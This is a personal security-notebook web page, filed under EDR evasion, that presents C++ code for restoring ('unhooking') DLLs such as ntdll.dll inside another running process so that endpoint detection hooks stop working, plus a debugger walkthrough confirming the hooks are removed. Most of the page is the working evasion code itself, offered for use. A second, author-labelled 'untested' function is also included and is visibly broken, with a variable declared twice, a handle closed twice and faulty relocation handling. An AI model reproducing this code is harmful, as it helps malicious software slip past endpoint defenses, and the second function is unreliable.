HandyDandyNotebook
twittergithublinkedin
  • Introduction
  • EDR Evasion
    • Full Remote DLL Unhooking
    • Windows API Without Imports
  • Secret Section
    • THE PowerShell command
  • Threat Emulation
    • Writing a C2 - The Journey
Powered by GitBook
On this page
  • Usage
  • POC
  • NOTE
  • Code
  • UNTESTED CODE:
  • Contribution Credit
  1. EDR Evasion

Full Remote DLL Unhooking

Unhook DLLs in a remote process

PreviousIntroductionNextWindows API Without Imports

Last updated 2 years ago

DLL unhooking is a methodology employed to circumvent detection by endpoint detection and response (EDR) systems. EDRs employ hooks within DLLs that contain Windows API functions to monitor for malicious activity. A comprehensive catalog of EDR hooks is readily accessible at

Usage

std::string dllName = "ntdll.dll"
int pid = [Code to get process ID of any function]
remoteunhook(dllName, int pid)

POC

  1. Open x64dbg.exe and attach it to the target process (ex. procexp64.exe)

  2. Identify a hooked function, I will search for "ZwMapViewOfSection":

  1. E9 indicates ZwMapViewOfSection is hooked. Unhooked ntdll functions are expected to return have BX.

  2. Detach x64dbg.exe and execute the remote dll unhooking tool against the remote process.

  3. Re-attach x64dbg.exe and return to the ZwMapViewOfSection

  4. If successful, there will be a BX value instead of E9

NOTE

Code

int remoteunhook(std::string dllName, int pid) {
	std::string path = "c:\\windows\\system32\\";
	HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
	MODULEINFO mi = {};
	HMODULE dllModule = GetModuleHandleA(dllName.c_str());
	GetModuleInformation(process, dllModule, &mi, sizeof(mi));
	LPVOID dllBase = (LPVOID)mi.lpBaseOfDll;
	HANDLE dllFile = CreateFileA(path.append(dllName).c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	HANDLE dllMapping = CreateFileMapping(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
	LPVOID dllMappingAddress = MapViewOfFile(dllMapping, FILE_MAP_READ, 0, 0, 0);
	PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)dllBase;
	PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBase + hookedDosHeader->e_lfanew);
	for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
		PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
		if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
			DWORD oldProtection = 0;
			bool isProtected = VirtualProtectEx(process,(LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
			SIZE_T bytesWritten = 0;
			WriteProcessMemory(process,(LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)dllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, &bytesWritten);
			isProtected = VirtualProtectEx(process,(LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
		}
	}
	CloseHandle(process);
	CloseHandle(dllFile);
	CloseHandle(dllMapping);
	FreeLibrary(dllModule);
	return 0;
}

UNTESTED CODE:

I don't fully understand everything about PE files yet. This is code that I developed with a lot of research and asking ChatGPT what was wrong with my code LOL. USE AT OWN RISK.

int unhook(std::string test, HANDLE deez) {

	// Set DLL path
	std::string path = "c:\\windows\\system32\\";

	// Open handle to remote process
	HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetProcessId(deez));

	// Get module information for the DLL to unhook.
	MODULEINFO mi = {};
	HMODULE dllModule = GetModuleHandleA(test.c_str());
	GetModuleInformation(process, dllModule, &mi, sizeof(mi));

	// Get handle to file and create mapping to DLL.
	LPVOID dllBase = (LPVOID)mi.lpBaseOfDll;
	HANDLE dllFile = CreateFileA(path.append(test).c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	HANDLE dllFile = CreateFileMapping(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
	LPVOID dllFileAddress = MapViewOfFile(dllFile, FILE_MAP_READ, 0, 0, 0);

	// Get header information for the DLL.
	PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)dllBase;
	PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBase + hookedDosHeader->e_lfanew);

	// Loop through the sections in the DLL.
	for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
		PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

		// If the section is .text, change its protection, write the DLL to memory, and update its relocation entry.
		if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
			DWORD oldProtection = 0;
			bool isProtected = VirtualProtectEx(process, (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_READWRITE, &oldProtection);
			SIZE_T bytesWritten = 0;
			WriteProcessMemory(process, (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)dllFileAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, &bytesWritten);
			
			// NTDLL doesn't need image base relocation
			if (test != "ntdll.dll") {
				PIMAGE_BASE_RELOCATION baseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)dllBase + hookedNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
				DWORD relocationSize = hookedNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;

				while (relocationSize > 0) {
					DWORD relocationCount = (baseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
					PWORD relocationData = (PWORD)((DWORD_PTR)baseRelocation + sizeof(IMAGE_BASE_RELOCATION));

					// Update the relocation entries.
					for (DWORD j = 0; j < relocationCount; j++) {
						if ((*relocationData >> 12) == IMAGE_REL_BASED_HIGHLOW) {
							DWORD_PTR entryAddress = (DWORD_PTR)dllBase + baseRelocation->VirtualAddress + (*relocationData & 0xFFF);
							int delta = (int)((DWORD_PTR)dllBase - hookedNtHeader->OptionalHeader.ImageBase);

							// Update the relocation entry
							*((ULONGLONG*)entryAddress) += delta;
						}
						relocationData++;
					}

					relocationSize -= baseRelocation->SizeOfBlock;
					baseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)baseRelocation + baseRelocation->SizeOfBlock);
				}
				break;
			}
			// Change memory back to its normal protection
			isProtected = VirtualProtectEx(process, (LPVOID)((DWORD_PTR)dllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
		}
	}



	// Close handles and free memory
	CloseHandle(process);
	CloseHandle(dllFile);
	CloseHandle(dllFile);
	FreeLibrary(dllModule);

	return 0;

}

Contribution Credit

The code below will only work with NTDLL.DLL, according to the research where I got the main base of from, ntdll doesn't need image base relocations. I have experimental code I have been working on at the bottom of this article but it has no been tested as I am still learning as I go!

- & - For the codebase that I used to make this project - For the EDR hook research

this code
mantvydasb - Blog Post with original code
Github
Twitter
Mr-Un1k0d3r
Mr-Un1k0d3rs Github.
Find ZwMapViewOfSection
E9? Hooked
B8!